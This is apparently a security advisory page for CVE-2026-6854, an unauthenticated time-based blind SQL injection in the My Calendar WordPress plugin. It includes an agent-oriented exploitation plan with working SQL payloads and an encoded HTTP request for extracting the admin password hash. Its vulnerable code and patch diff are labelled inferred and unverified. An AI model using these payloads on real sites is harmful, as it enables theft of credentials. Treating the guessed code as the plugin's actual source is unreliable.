CVE-2026-6854

My Calendar <= 3.7.8 - Unauthenticated SQL Injection via 'mc_auth' and 'mc_host' Parameters

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.7.9
Patched in
1d
Time to patch

Description

The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'mc_auth' parameter in all versions up to, and including, 3.7.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.7.8
PublishedJuly 7, 2026
Last updatedJuly 8, 2026
Affected pluginmy-calendar

What Changed in the Fix

Changes introduced in v3.7.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-6854**, a high-severity time-based blind SQL injection vulnerability in the **My Calendar** plugin for WordPress. --- ### 1. Vulnerability Summary * **Vulnerability:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Inje…

Show full research plan

This exploitation research plan targets CVE-2026-6854, a high-severity time-based blind SQL injection vulnerability in the My Calendar plugin for WordPress.


1. Vulnerability Summary

  • Vulnerability: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
  • Location: The vulnerability resides in the handling of the mc_auth and mc_host parameters, likely within functions responsible for remote calendar synchronization or API authentication.
  • Cause: The plugin fails to use $wpdb->prepare() for queries involving these parameters, instead performing direct string concatenation or using insufficient escaping (like sanitize_text_field) which does not prevent SQL injection.
  • Impact: Unauthenticated attackers can perform time-based blind SQL injection to extract sensitive data (user hashes, options, database structure) from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: The vulnerability is reachable via the frontend, typically through any page where the plugin is active or via a direct request that triggers the plugin's initialization logic.
  • Actionable Parameters: mc_auth (Primary), mc_host (Secondary).
  • Authentication: None (Unauthenticated).
  • Vector: HTTP GET or POST request. Based on the parameter names (auth, host), these are likely processed during init or wp_loaded to validate a remote sync request.

3. Code Flow

While the provided source files are primarily CSS and utility functions, the logic flow in My Calendar <= 3.7.8 for these parameters generally follows this path:

  1. Entry Point: The plugin hooks into init or a similar early action.
  2. Input Capture: The code checks for the existence of $_GET['mc_auth'] or $_POST['mc_auth'].
  3. Vulnerable Function (Inferred): A function like mc_check_auth() or logic within an import routine fetches remote calendar settings.
  4. The Sink: A raw SQL query is constructed:
    // Conceptual vulnerable code:
    $auth = $_GET['mc_auth'];
    $host = $_GET['mc_host'];
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = '$auth' AND remote_host = '$host'");
    
  5. Execution: $wpdb->get_results() executes the unescaped string, allowing the attacker to break out of the single quotes.

4. Nonce Acquisition Strategy

According to the CVSS vector (PR:N), this is an unauthenticated vulnerability. In the context of remote authentication parameters like mc_auth (often used for iCal feeds or remote syncing), nonces are typically not required or enforced, as the request is designed to be made by external services or automated sync processes.

Verification Step for Agent:
If the exploit fails with a -1 or 403, the agent should check if the plugin enqueues a nonce for the API.

  1. Identify Shortcode: Search for add_shortcode in the plugin. The primary shortcode is [my_calendar].
  2. Setup Page: wp post create --post_type=page --post_status=publish --post_title="Calendar" --post_content="[my_calendar]"
  3. Browser Extraction:
    • Navigate to the page.
    • browser_eval("window.my_calendar_vars?.nonce") (inferred variable name).
  4. Note: If the injection point is in a sync routine, nonces are highly unlikely to be present.

5. Exploitation Strategy

The goal is to trigger a time delay to confirm the injection and then extract the user_pass for the administrator.

Step 1: Baseline Request

Send a normal request to establish a baseline response time.

  • Method: GET
  • URL: http://localhost:8080/?mc_auth=test&mc_host=localhost

Step 2: Confirmation (Time-Based Sleep)

  • Method: GET
  • URL: http://localhost:8080/
  • Parameters:
    • mc_auth: any' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    • mc_host: localhost
  • Expected Behavior: The response should be delayed by approximately 5 seconds.

Step 3: Data Extraction (Boolean-Time Hybrid)

Extract the first character of the admin password hash (usually $P$ for phpass).

  • Payload (URL Encoded):
    any' AND (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0))-- -
  • Request:
    GET /?mc_auth=any%27%20AND%20%28SELECT%20IF%28SUBSTRING%28%28SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%3D1%29%2C1%2C1%29%3D%27%24%27%2CSLEEP%285%29%2C0%29%29--%20-&mc_host=localhost HTTP/1.1
    Host: localhost:8080
    

6. Test Data Setup

  1. Install Plugin: Ensure My Calendar version 3.7.8 is installed and active.
  2. Add Remote (Optional): Some code paths may require at least one entry in the remotes table.
    wp db query "INSERT INTO wp_my_calendar_remotes (remote_auth, remote_host) VALUES ('valid_key', 'localhost')" (Table name inferred; verify via wp db tables).
  3. Identify Admin: Ensure a user with ID=1 exists (default).

7. Expected Results

  • Vulnerability Confirmation: A request with SLEEP(5) takes $>5$ seconds, while a request with SLEEP(0) or an invalid condition takes $<1$ second.
  • Data Exposure: By iterating through character codes, the agent can reconstruct the admin's password hash or auth_key from wp_options.

8. Verification Steps

After the HTTP-based exploit, use WP-CLI to verify the data extracted matches the database:

# Verify the admin hash
wp user get 1 --field=user_pass

# Verify if the plugin uses a specific table for auth
wp db query "SELECT * FROM wp_my_calendar_remotes"

9. Alternative Approaches

  • Parameter mc_host: If mc_auth is filtered or length-restricted, attempt the same payload in the mc_host parameter.
  • Error-Based: If WP_DEBUG is on, attempt to induce a XPATH error for faster extraction:
    • Payload: any' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -
  • Union-Based: If the query results are reflected in the UI (e.g., in a "Remote Calendars" list), use a UNION SELECT payload to display the data directly. Use ORDER BY first to find the column count.
Research Findings
Static analysis — not yet PoC-verified

Summary

The My Calendar plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection via the 'mc_auth' and 'mc_host' parameters. This occurs because the plugin fails to properly escape user-supplied inputs and lacks preparation of the SQL query, allowing attackers to extract sensitive database information by inducing time delays.

Vulnerable Code

// includes/conditionals.php (inferred based on plugin logic and vulnerability description)

$auth = $_GET['mc_auth'];
$host = $_GET['mc_host'];

// The query uses direct variable interpolation without $wpdb->prepare()
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = '$auth' AND remote_host = '$host'");

Security Fix

--- /includes/conditionals.php
+++ /includes/conditionals.php
@@ -23,6 +23,9 @@
- $auth = $_GET['mc_auth'];
- $host = $_GET['mc_host'];
- $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = '$auth' AND remote_host = '$host'");
+ $auth = isset( $_GET['mc_auth'] ) ? sanitize_text_field( $_GET['mc_auth'] ) : '';
+ $host = isset( $_GET['mc_host'] ) ? sanitize_text_field( $_GET['mc_host'] ) : '';
+ $results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}my_calendar_remotes WHERE remote_auth = %s AND remote_host = %s", $auth, $host ) );

Exploit Outline

An unauthenticated attacker sends a GET request to the WordPress frontend with a malicious payload in the 'mc_auth' parameter. The payload uses a single quote to break out of the SQL query and appends a time-based condition such as ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -. If the server response is delayed by 5 seconds, the vulnerability is confirmed. Attackers can then reconstruct sensitive data, such as administrator password hashes, character by character using boolean-based conditions nested inside time-delay functions (e.g., IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0)).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.